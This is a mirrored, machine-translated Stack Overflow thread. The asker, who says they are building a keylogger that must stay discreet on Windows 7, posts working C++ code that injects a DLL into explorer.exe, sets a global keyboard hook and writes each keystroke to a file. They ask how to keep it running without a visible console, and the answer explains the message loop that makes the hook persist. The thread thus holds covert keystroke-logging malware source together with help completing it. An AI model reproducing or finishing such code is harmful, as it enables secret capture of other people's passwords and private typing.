简体   繁体   English

在explorer.exe中注入的dll中的无限循环

[英]Infinite loop in a dll injected on explorer.exe

I'm trying to create a keylogger on windows 7. To do It, I have created a Dll ( setHook.dll ) that I inject in a new thread of explorer.exe. 我正在尝试在Windows 7上创建键盘记录程序。为此,我创建了一个Dll( setHook.dll ), setHook.dll其注入到explorer.exe的新线程中。 In this first DLL, I open an other dll which contains a function ( hookfunc ) called on each keyboard input. 在第一个DLL中,我打开另一个dll,其中包含在每个键盘输入上调用的函数( hookfunc )。

I need to let my Dll works in background because if it dies, I lost my Hook function. 我需要让Dll在后台工作,因为如果Dll死了,我将失去Hook函数。 To do It, I have tried : 为此,我尝试过:

  • Sleep(INFINITE); : works a moment but explorer.exe crash :工作片刻,但explorer.exe崩溃
  • while(1); : works a moment but explorer.exe crash :工作片刻,但explorer.exe崩溃
  • system("pause") : working ! system("pause") :正在工作! But I don't want a console appears on the screen, my keylogger has to be discreet. 但是我不想在屏幕上出现控制台,我的键盘记录程序必须谨慎。
  • getchar() : same as system("pause") ; getchar() :与system("pause")
  • system("pause > null"); : access denied : 拒绝访问
  • this_thread::sleep_for(chrono::seconds(10)) : explorer crash this_thread::sleep_for(chrono::seconds(10)) :资源管理器崩溃

SetHook.dll : SetHook.dll:

BOOL WINAPI  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
    HMODULE dll;
    HOOKPROC addr;
    HHOOK handle;

    if (dwReason != DLL_PROCESS_ATTACH)
        return true;
    if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
        return false;
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
        return false;
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
        return false;
    Sleep(INFINITE); //issue here
    return true;
}

CallbackFunc : (I don't think it can help) CallbackFunc :(我认为这没有帮助)

LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
    std::ofstream file;
    WORD buf = 0;
    BYTE KeyState[256];
    file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
    if (code >= 0 && KEYUP(lParam))
    {
        if (wParam == VK_RETURN)
            file << "[ENTER]";
        else
        {
            GetKeyboardState(KeyState);
            ToAscii(wParam, lParam, KeyState, &buf, 0);
            file << (char)buf;
        }
    }
    file.close();
    return (CallNextHookEx(NULL, code, wParam, lParam));
}

The code works, I just need a discreet infinite loop instead of Sleep(INFINITE). 代码有效,我只需要一个谨慎的无限循环而不是Sleep(INFINITE)。 Any idea ? 任何想法 ?

Sleeping in DllMain is almost certainly a bad idea. 睡在DllMain中几乎是一个坏主意。

I assume you are trying to install a global hook . 我假设您正在尝试安装全局钩子 To do this, you need to run the message loop in your injector application, ie something like: 为此,您需要在注射器应用程序中运行消息循环 ,例如:

while(GetMessage(&msg, NULL, 0, 0 ))
{ 
   TranslateMessage(&msg); 
   DispatchMessage(&msg); 
} 

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM